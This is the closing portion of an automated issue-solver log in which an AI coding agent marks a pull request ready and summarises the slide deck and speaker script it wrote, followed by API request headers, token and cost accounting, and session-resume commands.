[\n[2026-09-29T08:07:46.651Z] [INFO]       {\n[2026-09-29T08:07:46.651Z] [INFO]         \"tool_use_id\": \"toolu_01C3VWLM7Uxpt2YLtrPTsFnM\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"content\": \"issues/646/comments: 0\\nissues/648/comments: 0\\npulls/648/comments: 0\\npulls/648/reviews: 0\\nmain ahead: 0\\n\u2713 Pull request G-Ivan-A/hybrid-Intelligence-lab#648 is marked as \\\"ready for review\\\"\\nhttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648 draft=false\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"is_error\": false\n[2026-09-29T08:07:46.651Z] [INFO]       }\n[2026-09-29T08:07:46.651Z] [INFO]     ]\n[2026-09-29T08:07:46.651Z] [INFO]   },\n[2026-09-29T08:07:46.651Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:07:46.651Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"uuid\": \"cf5186a0-eaf6-486c-a952-e279371cae16\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"timestamp\": \"2026-09-29T08:07:46.645Z\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:07:46.651Z] [INFO]     \"stdout\": \"issues/646/comments: 0\\nissues/648/comments: 0\\npulls/648/comments: 0\\npulls/648/reviews: 0\\nmain ahead: 0\\n\u2713 Pull request G-Ivan-A/hybrid-Intelligence-lab#648 is marked as \\\"ready for review\\\"\\nhttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648 draft=false\",\n[2026-09-29T08:07:46.651Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:07:46.651Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:07:46.651Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:07:46.651Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:07:46.651Z] [INFO]     \"gitOperation\": {\n[2026-09-29T08:07:46.651Z] [INFO]       \"pr\": {\n[2026-09-29T08:07:46.651Z] [INFO]         \"number\": 648,\n[2026-09-29T08:07:46.651Z] [INFO]         \"url\": \"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"action\": \"ready\"\n[2026-09-29T08:07:46.651Z] [INFO]       }\n[2026-09-29T08:07:46.651Z] [INFO]     }\n[2026-09-29T08:07:46.651Z] [INFO]   }\n[2026-09-29T08:07:46.651Z] [INFO] }\n[2026-09-29T08:07:46.745Z] [STDOUT] [log_61c772] sending request {\n[2026-09-29T08:07:46.747Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:07:46.753Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:46.759Z] [STDOUT]   options: {\n[2026-09-29T08:07:46.769Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:07:46.774Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:07:46.780Z] [STDOUT]     body: {\n[2026-09-29T08:07:46.786Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:07:46.792Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:07:46.796Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:07:46.803Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:07:46.810Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:07:46.818Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:07:46.822Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:07:46.827Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:07:46.830Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:07:46.834Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:07:46.837Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:07:46.842Z] [STDOUT]       stream: true,\n[2026-09-29T08:07:46.849Z] [STDOUT]     },\n[2026-09-29T08:07:46.857Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:07:46.859Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:07:46.861Z] [STDOUT]       aborted: false,\n[2026-09-29T08:07:46.863Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:07:46.866Z] [STDOUT]       onabort: null,\n[2026-09-29T08:07:46.868Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:07:46.870Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:07:46.872Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:07:46.875Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:07:46.877Z] [STDOUT]     },\n[2026-09-29T08:07:46.879Z] [STDOUT]     stream: true,\n[2026-09-29T08:07:46.881Z] [STDOUT]   },\n[2026-09-29T08:07:46.893Z] [STDOUT]   headers: {\n[2026-09-29T08:07:46.895Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:07:46.897Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:07:46.900Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:07:46.903Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:07:46.907Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:07:46.910Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:07:46.912Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:07:46.914Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:07:46.917Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:07:46.919Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=6984\",\n[2026-09-29T08:07:46.923Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:07:46.926Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:07:46.932Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:07:46.935Z] [STDOUT]     \"x-client-request-id\": \"05bcb3bf-bc33-44a9-ae83-0005b52a4af7\",\n[2026-09-29T08:07:46.939Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:07:46.943Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:07:46.947Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:07:46.953Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:07:46.955Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:07:46.957Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:07:46.959Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:07:46.961Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:07:46.963Z] [STDOUT]   },\n[2026-09-29T08:07:46.965Z] [STDOUT] }\n[2026-09-29T08:07:54.044Z] [STDOUT] [log_61c772, request-id: \"req_011CfXPTgM9AEzT9EKnpxryx\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7300ms\n[2026-09-29T08:07:54.048Z] [STDOUT] [log_61c772] response start {\n[2026-09-29T08:07:54.055Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:54.063Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:54.068Z] [STDOUT]   headers: {\n[2026-09-29T08:07:54.070Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:07:54.072Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:07:54.076Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:07:54.082Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.5\",\n[2026-09-29T08:07:54.084Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:07:54.089Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.099Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:07:54.103Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:07:54.105Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:07:54.108Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:07:54.115Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:07:54.121Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:07:54.123Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:07:54.148Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.194Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:07:54.197Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:07:54.200Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:07:54.202Z] [STDOUT]     \"cf-ray\": \"a4297f052a7a5d90-FRA\",\n[2026-09-29T08:07:54.208Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:07:54.210Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:07:54.216Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:07:54.219Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:07:54.228Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:07:54 GMT\",\n[2026-09-29T08:07:54.234Z] [STDOUT]     \"request-id\": \"req_011CfXPTgM9AEzT9EKnpxryx\",\n[2026-09-29T08:07:54.238Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:07:54.244Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:07:54.247Z] [STDOUT]     traceresponse: \"00-4e33bf22dd9500c3df975ec5497009b8-c2e2a9cf0f0390d2-01\",\n[2026-09-29T08:07:54.249Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:07:54.261Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:07:54.277Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:07:54.285Z] [STDOUT]   },\n[2026-09-29T08:07:54.291Z] [STDOUT]   durationMs: 7300,\n[2026-09-29T08:07:54.293Z] [STDOUT] }\n[2026-09-29T08:07:54.296Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:07:54.299Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:07:54 GMT\",\n[2026-09-29T08:07:54.303Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:07:54.305Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:07:54.309Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:07:54.316Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:07:54.321Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:07:54.323Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:07:54.326Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:07:54.331Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:07:54.334Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:07:54.337Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:07:54.342Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:07:54.345Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:07:54.348Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.5\",\n[2026-09-29T08:07:54.352Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:07:54.355Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:07:54.363Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.366Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:07:54.369Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:07:54.372Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:07:54.374Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:07:54.376Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.381Z] [STDOUT]   \"request-id\": \"req_011CfXPTgM9AEzT9EKnpxryx\",\n[2026-09-29T08:07:54.384Z] [STDOUT]   \"traceresponse\": \"00-4e33bf22dd9500c3df975ec5497009b8-c2e2a9cf0f0390d2-01\",\n[2026-09-29T08:07:54.386Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:07:54.392Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:07:54.398Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:07:54.401Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:07:54.405Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:07:54.408Z] [STDOUT]   \"cf-ray\": \"a4297f052a7a5d90-FRA\",\n[2026-09-29T08:07:54.410Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:07:54.414Z] [STDOUT] [log_61c772] response parsed {\n[2026-09-29T08:07:54.419Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:54.421Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:54.425Z] [STDOUT]   body: X {\n[2026-09-29T08:07:54.428Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:07:54.431Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:07:54.433Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:07:54.438Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:07:54.440Z] [STDOUT]     },\n[2026-09-29T08:07:54.442Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:07:54.444Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:07:54.446Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:07:54.451Z] [STDOUT]   },\n[2026-09-29T08:07:54.453Z] [STDOUT]   durationMs: 7303,\n[2026-09-29T08:07:54.455Z] [STDOUT] }\n[2026-09-29T08:07:56.718Z] [INFO] {\n[2026-09-29T08:07:56.718Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:07:56.718Z] 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CI passes on the latest commit, the branch is up to date with main, and there were no comments on the issue or the PR.\\n\\n**What's in the PR** (both documents in Russian, in `projects/ba-ai-process/docs/presentation/`):\\n- **Slides** (`2026-09-29-meta-model-presentation-slides.md`): 10 slides. Each has a headline stating the claim, 3\u20135 bullets, one highlighted quote or metric, a Midjourney/DALL-E prompt, and sources as full links. A table maps the seven topics the issue asked for to slides.\\n- **Speaker script** (`2026-09-29-meta-model-presentation-speaker-script.md`): uses the same slide numbers and titles. For each slide it gives timing, a goal, the talking points with the \\\"why\\\" and \\\"how\\\", and a transition line to the next slide. Around it are a short frame for the talk, including a list of claims not to make, and prepared answers to 11 questions a technical leader is likely to ask.\\n- **Story line:** it starts from the 69 runs and 583 commits in `mango_ba_prompts`. It shows the path from one big prompt, to 23 files, to rolled-back prompt edits, to admitting there were no evals, to the review of 67 runs, and finally to the meta-model. Slides 3\u20134 carry this, and the script repeats it.\\n- **Navigation:** I linked both documents from `projects/ba-ai-process/README.md`, added a CHANGELOG entry and removed the task's `.gitkeep`.\\n\\n**Fact-checking.** A second pass against the sources found errors in my first draft of the script, which I fixed before pushing:\\n- The four failure classes were named incorrectly; they now match the run-review document word for word.\\n- A \\\"three different structures\\\" claim was tied to the wrong task; it now cites the measurement on three completed runs.\\n- The security answer claimed read-only access to Jira and Confluence. That limit is currently only an organizational rule, because the Cline package's hook lets any MCP call through. The answer now says so.\\n- Two sources didn't support what they were cited for, in both documents. The 23-file split now links to commit `d8a4759`. The \\\"no evals\\\" statement now links to the `mango_ba_prompts` README instead of its changelog.\\n\\n**Tests.** All repository validators pass locally. So do the `tools/test-*.sh` scripts, once the package's pinned Python dependencies are installed.\\n\\n**Still open.** The PR description lists these gaps, a strategic risk and backlog suggestions:\\n- The slides include prompts only; no images have been generated.\\n- How well each document view is produced is not measured.\\n- A full end-to-end run on real tasks in both clients has not been done.\\n- The effort and cost of the server environment are not estimated.\\n- The strategic risk: guarantees exist today only for the automated Working \u2192 Release step, so the presentation must not say the whole process is deterministic.\"\n[2026-09-29T08:07:56.718Z] [INFO]       }\n[2026-09-29T08:07:56.718Z] [INFO]     ],\n[2026-09-29T08:07:56.718Z] [INFO]     \"container\": null,\n[2026-09-29T08:07:56.718Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:07:56.718Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:07:56.718Z] [INFO]     \"stop_details\": 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CI passes on the latest commit, the branch is up to date with main, and there were no comments on the issue or the PR.\\n\\n**What's in the PR** (both documents in Russian, in `projects/ba-ai-process/docs/presentation/`):\\n- **Slides** (`2026-09-29-meta-model-presentation-slides.md`): 10 slides. Each has a headline stating the claim, 3\u20135 bullets, one highlighted quote or metric, a Midjourney/DALL-E prompt, and sources as full links. A table maps the seven topics the issue asked for to slides.\\n- **Speaker script** (`2026-09-29-meta-model-presentation-speaker-script.md`): uses the same slide numbers and titles. For each slide it gives timing, a goal, the talking points with the \\\"why\\\" and \\\"how\\\", and a transition line to the next slide. Around it are a short frame for the talk, including a list of claims not to make, and prepared answers to 11 questions a technical leader is likely to ask.\\n- **Story line:** it starts from the 69 runs and 583 commits in `mango_ba_prompts`. It shows the path from one big prompt, to 23 files, to rolled-back prompt edits, to admitting there were no evals, to the review of 67 runs, and finally to the meta-model. Slides 3\u20134 carry this, and the script repeats it.\\n- **Navigation:** I linked both documents from `projects/ba-ai-process/README.md`, added a CHANGELOG entry and removed the task's `.gitkeep`.\\n\\n**Fact-checking.** A second pass against the sources found errors in my first draft of the script, which I fixed before pushing:\\n- The four failure classes were named incorrectly; they now match the run-review document word for word.\\n- A \\\"three different structures\\\" claim was tied to the wrong task; it now cites the measurement on three completed runs.\\n- The security answer claimed read-only access to Jira and Confluence. That limit is currently only an organizational rule, because the Cline package's hook lets any MCP call through. The answer now says so.\\n- Two sources didn't support what they were cited for, in both documents. The 23-file split now links to commit `d8a4759`. The \\\"no evals\\\" statement now links to the `mango_ba_prompts` README instead of its changelog.\\n\\n**Tests.** All repository validators pass locally. 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[INFO]   \"time_to_request_ms\": 162,\n[2026-09-29T08:07:56.892Z] [INFO]   \"first_content_frame_ms\": 1087,\n[2026-09-29T08:07:56.892Z] [INFO]   \"queued_turn_count\": 0,\n[2026-09-29T08:07:56.892Z] [INFO]   \"result_index\": 0\n[2026-09-29T08:07:56.892Z] [INFO] }\n[2026-09-29T08:07:56.903Z] [INFO] \ud83d\udccc Result event received, starting 30s stream close timeout (Issue #1280)\n[2026-09-29T08:07:56.908Z] [INFO] \ud83d\udcb0 Anthropic official cost captured from success result: $8.859691\n[2026-09-29T08:07:56.914Z] [INFO] \ud83d\udcdd Captured result summary from Claude output\n[2026-09-29T08:07:56.917Z] [INFO] \ud83d\udcca Session num_turns: 110\n[2026-09-29T08:07:59.527Z] [INFO] \u2705 Stream closed normally after result event\n[2026-09-29T08:07:59.600Z] [INFO] \n[2026-09-29T08:07:59.600Z] [INFO] \n[2026-09-29T08:07:59.600Z] [INFO] \u2705 Claude command completed\n[2026-09-29T08:07:59.649Z] [INFO] \ud83d\udcca Total messages: 497, Tool uses: 174\n[2026-09-29T08:08:02.353Z] [INFO] \n[2026-09-29T08:08:02.353Z] [INFO] \u2139\ufe0f  JSONL deduplication: skipped 109 duplicate entries so token totals stay correct (known upstream behaviour: anthropics/claude-code#87303)\n[2026-09-29T08:08:02.402Z] [INFO] \ud83d\udcca Peak restored-context input: 113 003 tokens\n[2026-09-29T08:08:02.425Z] [INFO] \n[2026-09-29T08:08:02.425Z] [INFO] \ud83d\udcb0 Token Usage Summary:\n[2026-09-29T08:08:02.460Z] [INFO] \ud83d\udcca Token data supplemented from result JSON for: claude-opus-5-5\n[2026-09-29T08:08:02.532Z] [INFO] \n[2026-09-29T08:08:02.532Z] [INFO]    \ud83d\udcca Claude Opus 5.5: (from result JSON)\n[2026-09-29T08:08:02.556Z] [INFO]       Model ID: claude-opus-5-5\n[2026-09-29T08:08:02.567Z] [INFO]       Provider: Anthropic\n[2026-09-29T08:08:02.598Z] [INFO]       Context window: 1 000 000 tokens\n[2026-09-29T08:08:02.628Z] [INFO]       Max output: 128 000 tokens\n[2026-09-29T08:08:02.638Z] [INFO]       Input modalities: text, image, pdf\n[2026-09-29T08:08:02.661Z] [INFO]       Output modalities: text\n[2026-09-29T08:08:02.668Z] [INFO]       Knowledge cutoff: 2026-06\n[2026-09-29T08:08:02.675Z] [INFO]       Released: 2026-09-22\n[2026-09-29T08:08:02.678Z] [INFO]       Capabilities: Attachments, Reasoning, Tool calls\n[2026-09-29T08:08:02.684Z] [INFO]       Open weights: No\n[2026-09-29T08:08:02.687Z] [INFO] \n[2026-09-29T08:08:02.697Z] [INFO]       Usage:\n[2026-09-29T08:08:02.700Z] [INFO]         Input tokens: 28 894\n[2026-09-29T08:08:02.707Z] [INFO]         Cache creation tokens: 563 069\n[2026-09-29T08:08:02.709Z] [INFO]         Cache read tokens: 10 600 693\n[2026-09-29T08:08:02.914Z] [INFO]         Output tokens: 147 601\n[2026-09-29T08:08:03.082Z] [INFO] \n[2026-09-29T08:08:03.141Z] [INFO]       Cost Calculation (USD):\n[2026-09-29T08:08:03.148Z] [INFO]         Input: 28 894 tokens \u00d7 $4/M = $0.115576\n[2026-09-29T08:08:03.151Z] [INFO]         Cache write (5m): 277 532 tokens \u00d7 $5/M = $1.387660\n[2026-09-29T08:08:03.156Z] [INFO]         Cache write (1h): 285 537 tokens \u00d7 $8/M = $2.284296\n[2026-09-29T08:08:03.159Z] [INFO]         Cache read: 10 600 693 tokens \u00d7 $0.2/M = $2.120139\n[2026-09-29T08:08:03.162Z] [INFO]         Output: 147 601 tokens \u00d7 $20/M = $2.952020\n[2026-09-29T08:08:03.165Z] [INFO]         \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[2026-09-29T08:08:03.167Z] [INFO]         Total: $8.859691\n[2026-09-29T08:08:03.172Z] [INFO] \n[2026-09-29T08:08:03.172Z] [INFO]       \ud83d\udcca Context and tokens usage:\n[2026-09-29T08:08:03.176Z] [INFO]         1. 113 003 / 1 000 000 (11%) input tokens, 6 219 / 128 000 (5%) output tokens\n[2026-09-29T08:08:03.180Z] [INFO]         2. 107 752 / 1 000 000 (11%) input tokens, 41 835 / 128 000 (33%) output tokens\n[2026-09-29T08:08:03.183Z] [INFO]         3. 102 102 / 1 000 000 (10%) input tokens, 25 591 / 128 000 (20%) output tokens\n[2026-09-29T08:08:03.187Z] [INFO]         Total: (28 894 new + 563 069 cache writes + 10 600 693 cache reads) input tokens, 147 601 output tokens\n[2026-09-29T08:08:03.245Z] [INFO] \n[2026-09-29T08:08:03.245Z] [INFO]       \ud83d\udcca [budget-trace] Claude Opus 5.5\n[2026-09-29T08:08:03.254Z] [INFO]          peak input:      113 003 / 1 000 000 context (largest request input + cache_creation + cache_read)\n[2026-09-29T08:08:03.262Z] [INFO]          cumulative:      input 28 894, cache_write 563 069 (5m 0 / 1h 285 537), cache_read 10 600 693, output 147 601\n[2026-09-29T08:08:03.266Z] [INFO]          server tools:    web_search 0\n[2026-09-29T08:08:03.269Z] [INFO]          cost (public):   $8.859691\n[2026-09-29T08:08:03.273Z] [INFO]          cost (anthropic result-event): $8.859691\n[2026-09-29T08:08:03.277Z] [INFO]          sub-session count: 3\n[2026-09-29T08:08:03.310Z] [INFO]          data source:     jsonl + result-event\n[2026-09-29T08:08:03.345Z] [INFO] \n[2026-09-29T08:08:03.345Z] [INFO]    \ud83d\udcb0 Cost: $8.859691\n[2026-09-29T08:08:03.350Z] [INFO]       Total tokens: 739 564\n[2026-09-29T08:08:03.354Z] [INFO] \n[2026-09-29T08:08:03.354Z] [INFO] \ud83d\udca1 To continue this session:\n[2026-09-29T08:08:03.354Z] [INFO] \n[2026-09-29T08:08:03.360Z] [INFO]    Interactive mode:    (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --model opus)\n[2026-09-29T08:08:03.360Z] [INFO] \n[2026-09-29T08:08:03.363Z] [INFO]    Autonomous mode:     (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --output-format stream-json --dangerously-skip-permissions --model opus -p \"Continue.\")\n[2026-09-29T08:08:03.363Z] [INFO] \n[2026-09-29T08:08:03.940Z] [INFO] \n[2026-09-29T08:08:03.940Z] [INFO] \ud83d\udcca [DISK] phase=after_agent bytes=31109361 deltaBytes=299595 path=/tmp/gh-issue-solver-1790667776920 size=30 MB delta=+293 KB\n[2026-09-29T08:08:04.340Z] [INFO] \ud83d\udcc8 Resource usage (after AI execution):\n[2026-09-29T08:08:04.340Z] [INFO]    CPU load: 10.04 9.83 7.74 (6 CPUs)\n[2026-09-29T08:08:04.340Z] [INFO]    Memory: 8.3 GB available / 11.7 GB total (3.4 GB used)\n[2026-09-29T08:08:04.340Z] [INFO]    Process RSS: 136 MB, V8 heap: 53 MB used of 2.2 GB limit (2.4%)\n[2026-09-29T08:08:04.340Z] [INFO]    Disk (/): 97.7 GB available / 192.7 GB total (49.3% used)\n[2026-09-29T08:08:04.340Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_agent ts=2026-09-29T08%3A08%3A04.089Z load1=10.04 load5=9.83 load15=7.74 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=8878116864 memUsedBytes=3663368192 processRssBytes=142393344 processHeapUsedBytes=55480792 processHeapTotalBytes=89653248 processExternalBytes=16597763 processHeapLimitBytes=2348810240 processHeapUsedPercent=2.3620806421552385 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=104853327872 diskUsedBytes=102030176256 diskUsedPercent=49.31369623725204 mem=8.3%20GB%20available%20%2F%2011.7%20GB%20total heap=53%20MB%20used%20of%202.2%20GB%20limit%20(2.4%25) disk=97.7%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T08:08:04.536Z] [INFO] \n[2026-09-29T08:08:04.536Z] [INFO] \ud83d\udd0d Checking for uncommitted changes...\n[2026-09-29T08:08:04.636Z] [INFO] \u2705 No uncommitted changes found\n[2026-09-29T08:08:04.644Z] [INFO] \n[2026-09-29T08:08:04.644Z] [INFO] === Session Summary ===\n[2026-09-29T08:08:04.651Z] [INFO] \u2705 Session ID: f0ddf6ec-4316-44b3-b0ba-14367918e3de\n[2026-09-29T08:08:04.657Z] [INFO] \u2705 Complete log file: /home/box/f0ddf6ec-4316-44b3-b0ba-14367918e3de.log\n[2026-09-29T08:08:04.659Z] 